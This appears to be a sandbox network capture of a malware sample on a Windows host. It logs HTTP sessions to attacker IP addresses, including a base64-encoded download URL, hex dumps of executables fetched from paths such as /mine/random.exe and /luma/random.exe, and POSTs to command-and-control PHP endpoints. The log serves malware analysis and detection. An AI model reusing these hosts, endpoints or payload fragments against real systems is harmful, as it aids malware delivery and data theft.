Dec 7, 2024 18:27:00.301392078 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49831	185.215.113.16	80	7308	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:27:00.425345898 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 7, 2024 18:27:01.781627893 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 17:27:01 GMT Content-Type: application/octet-stream Content-Length: 3294720 Last-Modified: Sat, 07 Dec 2024 17:21:31 GMT Connection: keep-alive ETag: "6754841b-324600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 50 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfP2@22@Wk8272 @.rsrc@.idata @oxusnhxb++@orzkidtw@2 2@.taggant0P2"$2@
Dec 7, 2024 18:27:01.781778097 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 18:27:01.781790018 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 18:27:01.782077074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 18:27:01.782093048 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 18:27:01.782104015 CET	1236	IN	Data Raw: ba 32 0c e1 aa 92 3a bb 61 ce db 53 63 b6 e3 ae 5d 72 4b d9 15 f1 49 e1 ca f1 84 32 5e 48 5f 59 66 33 0c e1 aa 8e 3d bb 61 ce fb 53 63 b6 e3 0e 5e 72 4b d9 75 f0 49 e1 ca f1 84 32 5e 48 43 59 0e 33 0c e1 aa e2 3f bb 61 ce 1b 52 63 b6 e3 ee 5e 72 Data Ascii: 2:aSc]rKI2^H_Yf3=aSc^rKuI2^HCY3?aRc^rKUI2^HCY:3f<a;RcN_rKI2^HOY63&a[Rc._rKI2^HOY.3;a{Rc_rKI2^HOY&38aRcnPrKI2^HOY3"8aRcPrK
Dec 7, 2024 18:27:01.782707930 CET	1236	IN	Data Raw: d5 f4 49 e1 ca f1 84 32 5e 48 4f 59 92 2c 0c e1 aa 5a 21 bb 61 ce bb 56 63 b6 e3 ce 4c 72 4b d9 35 f4 49 e1 ca f1 84 32 5e 48 4f 59 8a 2c 0c e1 aa 3a 3f bb 61 ce db 56 63 b6 e3 ae 4c 72 4b d9 15 f4 49 e1 ca f1 84 32 5e 48 43 59 82 2c 0c e1 aa fa Data Ascii: I2^HOY,Z!aVcLrK5I2^HOY,:?aVcLrKI2^HCY,?aVcMrKuI2^HOY,"%aYcMrKUI2^H[Y,<a;YcNNrKI2^H[YZ,R%a[Yc.NrKI2^HWYN,~<a{YcNrKI2^H[Yn,%
Dec 7, 2024 18:27:01.782721996 CET	1236	IN	Data Raw: 61 ce 7b 5d 63 b6 e3 8e 7a 72 4b d9 f5 ff 49 e1 ca f1 84 32 5e 48 47 59 a6 28 0c e1 aa b2 3f bb 61 ce 9b 5d 63 b6 e3 6e 7b 72 4b d9 d5 ff 49 e1 ca f1 84 32 5e 48 43 59 56 28 0c e1 aa 3a 38 bb 61 ce bb 5d 63 b6 e3 ce 7b 72 4b d9 35 ff 49 e1 ca f1 Data Ascii: a{]czrKI2^HGY(?a]cn{rKI2^HCYV(:8a]c{rK5I2^H/YB(2'a]c{rKI2^H/Y);a]c\|rKuI2^H7Y2)r>a\c\|rKUI2^H[Y)?a;\cN}rKI2^HCY)$a[\c.}rKI
Dec 7, 2024 18:27:01.782733917 CET	1236	IN	Data Raw: a4 ce 63 c0 63 b6 ae 42 cd 6c 4b 3c fa 4e 16 bb 61 26 db 0e 92 26 db 3d 5e ea 84 32 5e ea 84 32 5e 63 c6 d2 c8 29 fc f2 e6 bc fd fb 34 f6 ea 43 a5 33 80 6b 0a ce 55 4d 65 b6 82 fe 17 b6 4b e1 79 3c 01 fc 61 fe 52 e1 61 b6 15 42 a5 5d c6 63 1a 33 Data Ascii: ccBlK<Na&&=^2^2^c)4C3kUMeKy<aRaB]c3Jj7uKh\NzJPa14@KWbgcK\|cK8bKa!d&K[`Ca<zaNX)acK@KaT<^2^csGB2^2^8{2^2^2^cp`CCWagc
Dec 7, 2024 18:27:01.783334017 CET	1236	IN	Data Raw: 33 f6 ea 75 47 5b 89 f6 61 ea 84 32 5e 63 c6 d2 9d 77 4f 4b 9d 43 43 74 c8 b2 36 bf 65 43 45 74 18 79 0c f5 f6 ad bb ff cf 5b 89 f6 61 80 8b 40 cf f0 40 e1 5d ea 84 32 5e ea 84 32 5e 61 c6 c2 e5 ca 40 7c 46 be cf 3a 66 63 c6 55 66 2f e7 9a 65 29 Data Ascii: 3uG[a2^cwOKCCt6eCEty[a@@]2^2^a@\|F:fcUf/e)gTaNv&bKa_'>:sgHfuRaKtk/q[rv`Kt%m/YswaKt7rKN)1sc1qs$,Ks$sXC;&I\|Nab+9aCcTdoYcJkB)Mr
Dec 7, 2024 18:27:01.901813030 CET	1236	IN	Data Raw: e3 73 4b 72 d0 b2 8d bb 69 b7 18 72 27 c2 5b 48 a2 ed 42 0d 67 73 4b b1 c7 a5 9d ff 79 6d 44 fc 61 29 04 e5 e5 f2 40 38 18 c6 53 ba 61 29 8d ad 5e 54 63 6d 86 b7 4b 74 47 5b 89 fa 61 ea 84 32 5e ea 84 32 5e ea 84 32 5e 63 c6 d2 fc b5 e0 26 9b 72 Data Ascii: sKrir'[HBgsKymDa)@8Sa)^TcmKtG[a2^2^2^c&rK]Kaf_'>:s{H+Kak/YswaKHYswaK*HHXtwKa_t?2za)lCcXKcKtsGv[gaKXKae&&a/dG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49847	185.215.113.206	80	7308	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:27:07.392203093 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 34 39 63 63 32 39 31 36 32 39 31 36 39 37 61 63 38 61 32 62 62 30 32 66 37 66 32 35 35 32 36 64 65 32 35 34 37 39 63 39 31 36 61 30 62 34 65 63 66 37 30 32 63 65 63 30 37 30 32 62 62 64 33 34 37 63 63 65 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 2d 2d 0d 0a Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="token"649cc2916291697ac8a2bb02f7f25526de25479c916a0b4ecf702cec0702bbd347ccec8e------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JEBKEHJJDAAAAKECBGHD--
Dec 7, 2024 18:27:09.941358089 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49906	185.215.113.43	80	8240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:27:33.700560093 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 7, 2024 18:27:35.082475901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 17:27:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49915	185.215.113.43	80	8240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:27:36.740848064 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 34 32 45 37 33 42 34 35 42 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B42E73B45B82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Dec 7, 2024 18:27:38.135831118 CET	668	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 17:27:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 64 64 0d 0a 20 3c 63 3e 31 30 31 32 39 39 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 36 63 36 31 37 31 64 65 61 30 33 62 37 31 61 31 35 30 33 37 30 39 63 38 62 66 65 32 32 61 30 66 39 39 61 35 35 33 36 65 36 23 31 30 31 32 39 39 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 32 39 39 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 33 30 30 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 [TRUNCATED] Data Ascii: 1dd <c>1012997001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d26c6171dea03b71a1503709c8bfe22a0f99a5536e6#1012998001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1012999001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1013000001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1013001001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49920	31.41.244.11	80	8240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:27:38.261158943 CET	66	OUT	GET /files/6946140361/Ed7zZr4.exe HTTP/1.1 Host: 31.41.244.11
Dec 7, 2024 18:27:39.601984024 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 17:27:39 GMT Content-Type: application/octet-stream Content-Length: 4269056 Last-Modified: Sat, 07 Dec 2024 17:08:26 GMT Connection: keep-alive ETag: "6754810a-412400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0b 00 72 5f 40 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 92 07 00 00 8c 39 00 00 00 00 00 d0 fd 04 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 41 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b8 bd 3f 00 50 00 00 00 00 90 41 00 a8 01 00 00 00 b0 40 00 94 65 00 00 00 00 00 00 00 00 00 00 00 a0 41 00 18 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 fd 3e 00 28 00 00 00 a0 60 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEdr_@g"9@A`?PA@eA>(`@?.text `.rdata88@@.data6p@V@@.pdatae@fr@@@.00cfg8 A@@@.gxfg"0A"@@@.retplne`A@.tlspA@@_RDATAAA@@.rsrcAA@@.relocA A@B
Dec 7, 2024 18:27:39.602061987 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 56 48 81 ec a8 00 00 00 48 8d ac 24 80 00 00 00 48 c7 45 20 fe ff ff ff Data Ascii: UVHH$HE HMHuEHEHU1A?tO}uFMHlHEH}u,HMHUAf?E}uHMH}uT
Dec 7, 2024 18:27:39.602075100 CET	1236	IN	Data Raw: c7 45 14 00 00 00 00 90 8b 45 14 3b 45 18 0f 83 3d 01 00 00 90 c7 45 00 00 00 00 00 48 8b 45 08 48 63 4d 14 48 c1 e1 04 48 8b 0c 08 48 8b 05 06 b1 3f 00 49 89 e9 ba 07 00 00 20 45 31 c0 ff d0 8b 55 00 48 8d 4d c0 45 31 c0 e8 8a 01 00 00 eb 00 48 Data Ascii: EE;E=EHEHcMHHH?I E1UHME1HMHMHcUHHL?I IAHuHMHUHMHUHMHUK4ujHMzHMHHMHU-HtHME
Dec 7, 2024 18:27:39.602330923 CET	1236	IN	Data Raw: c4 20 5d c3 cc 48 83 ec 28 48 89 4c 24 20 48 8b 4c 24 20 e8 0d 00 00 00 90 48 83 c4 28 c3 cc cc cc cc cc cc cc 50 48 89 0c 24 48 8b 04 24 48 8b 08 48 83 c1 20 48 89 08 58 c3 cc cc cc cc cc cc cc cc cc cc cc 56 48 83 ec 50 48 8b 05 74 5a 40 00 48 Data Ascii: ]H(HL$ HL$ H(PH$H$HH HXVHPHtZ@H1HD$HHL$8Ht$8Ht$(HL$(SHL$(Yu2HkHD$0HD$(L@HD$(HHL$0kHL$(HD$(H@HD$(H@fD$FHL$(HT$FHL$HH1}H
Dec 7, 2024 18:27:39.602345943 CET	1236	IN	Data Raw: 0b 48 c7 44 24 28 ff ff ff ff eb 45 4c 8b 84 24 80 00 00 00 48 8b 54 24 48 48 8b 4c 24 20 e8 8e 00 00 00 83 f8 00 75 17 48 8b 44 24 20 48 8b 4c 24 30 48 29 c8 48 d1 f8 48 89 44 24 28 eb 12 eb 00 48 8b 44 24 20 48 83 c0 02 48 89 44 24 20 eb 84 48 Data Ascii: HD$(EL$HT$HHL$ uHD$ HL$0H)HHD$(HD$ HHD$ HD$(HXHLD$HT$H$H$HD$fLD$1Itff9uHHI1IuHHLD$HT$H$H$HT$LD$1It4fDfDfE9w
Dec 7, 2024 18:27:39.602762938 CET	1236	IN	Data Raw: 38 48 89 54 24 20 48 89 4c 24 30 48 8b 44 24 20 48 8b 08 48 83 c1 01 48 89 08 48 c7 44 24 28 00 00 00 00 48 8b 54 24 20 48 8b 4c 24 30 e8 5b 00 00 00 48 89 44 24 28 48 8b 44 24 20 48 8b 08 48 83 c1 ff 48 89 08 48 8b 44 24 28 48 83 c4 38 c3 cc cc Data Ascii: 8HT$ HL$0HD$ HHHHD$(HT$ HL$0[HD$(HD$ HHHHD$(H8HHT$H$H$HL$HHHH8HT$0HL$(HL$(HD$0HH8H8HT$(HL$0HL$(HPH8H8H
Dec 7, 2024 18:27:39.602802992 CET	896	IN	Data Raw: ff 90 48 83 c4 20 5d c3 cc 55 48 83 ec 50 48 8d 6c 24 50 48 c7 45 f8 fe ff ff ff 90 89 55 e4 48 89 4d d8 48 8b 45 d8 48 89 45 e8 48 89 45 d0 8b 45 e4 89 45 f4 eb 00 90 48 8b 4d e8 e8 58 00 00 00 eb 00 48 8b 4d e8 83 7d f4 00 74 05 e8 4f 29 02 00 Data Ascii: H ]UHPHl$PHEUHMHEHEHEEEHMXHM}tO)HEHP]fff.HT$UH HjPHM}t)H ]UH@Hl$@HEHMHEHEHMH@]fff.HT$UH Hj@HMxH
Dec 7, 2024 18:27:39.602816105 CET	1236	IN	Data Raw: 48 8b 45 f0 48 c7 40 10 00 00 00 00 48 c7 40 18 00 00 00 00 eb 00 48 8b 45 f0 48 83 c4 40 5d c3 66 0f 1f 84 00 00 00 00 00 48 89 54 24 10 55 48 83 ec 20 48 8d 6a 40 90 48 8b 4d f0 e8 88 ef ff ff 90 48 83 c4 20 5d c3 cc 56 48 83 ec 30 48 89 4c 24 Data Ascii: HEH@H@HEH@]fHT$UH Hj@HMH ]VH0HL$(Ht$(H1AOHH0^PH$H$HYHHT$H$HVH@LD$8HT$0HL$(Ht$(HT$0LD$8HHH@^VH@LD$8
Dec 7, 2024 18:27:39.603666067 CET	1236	IN	Data Raw: 89 f0 48 83 c0 18 48 89 85 10 28 00 00 48 8b 8d 10 28 00 00 48 8d 95 18 28 00 00 e8 b5 e6 ff ff 48 8b 8d 10 28 00 00 48 8d 95 00 28 00 00 e8 e2 e6 ff ff 48 8d 8d 18 28 00 00 48 8d 95 00 28 00 00 e8 0f e7 ff ff 34 ff a8 01 75 05 e9 aa 00 00 00 48 Data Ascii: HH(H(H(H(H(H(H(4uH(8H'H9H'H'H'HmH'u7(0(0(H'Y0(t7H(?
Dec 7, 2024 18:27:39.603682995 CET	1236	IN	Data Raw: cc 48 83 ec 38 4c 89 44 24 28 48 89 54 24 20 48 89 4c 24 30 48 8b 54 24 28 48 c1 e2 00 48 8b 4c 24 20 e8 0a e7 ff ff 90 48 83 c4 38 c3 cc cc cc cc 41 56 56 57 53 48 83 ec 38 48 89 54 24 28 48 89 4c 24 30 48 8b 74 24 30 48 8b 4c 24 28 e8 3e 00 00 Data Ascii: H8LD$(HT$ HL$0HT$(HHL$ H8AVVWSH8HT$(HL$0Ht$0HL$(>HH\$(LvHJHLIIy$H8[_^A^H(HL$ HL$ H(VH0HL$(Ht$(Ht$ HuH6HD$ HD$ H0^H
Dec 7, 2024 18:27:39.721611977 CET	1236	IN	Data Raw: 00 00 48 89 44 24 28 48 8b 44 24 20 48 8b 08 48 83 c1 ff 48 89 08 48 8b 44 24 28 48 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 38 4c 89 44 24 30 48 89 54 24 28 48 89 4c 24 20 48 8b 4c 24 20 48 8b 54 24 28 4c 8b 44 24 30 49 c1 e0 Data Ascii: HD$(HD$ HHHHD$(H8H8LD$0HT$(HL$ HL$ HT$(LD$0I:HD$ H8H8HT$0HL$(HL$(HD$0HH8H8HT$(HL$0HL$(HH8HHL$D$HD$HHPH$H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49944	185.215.113.43	80	8240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:27:48.773500919 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 32 39 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1012997001&unit=246122658369
Dec 7, 2024 18:27:50.133863926 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 17:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49949	185.215.113.16	80	8240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:27:50.260809898 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 7, 2024 18:27:51.607371092 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 17:27:51 GMT Content-Type: application/octet-stream Content-Length: 1853440 Last-Modified: Sat, 07 Dec 2024 17:21:17 GMT Connection: keep-alive ETag: "6754840d-1c4800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 af 50 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 c6 03 00 00 ac 00 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 b4 8b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 30 05 00 70 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELbPg`I@I@\0p 1 2@.rsrc B@.idata 0F@ 0*@H@xjzjhlykp/J@hglpilhuPI"@.taggant0`I"&@
Dec 7, 2024 18:27:51.607496977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 18:27:51.607508898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 18:27:51.607963085 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
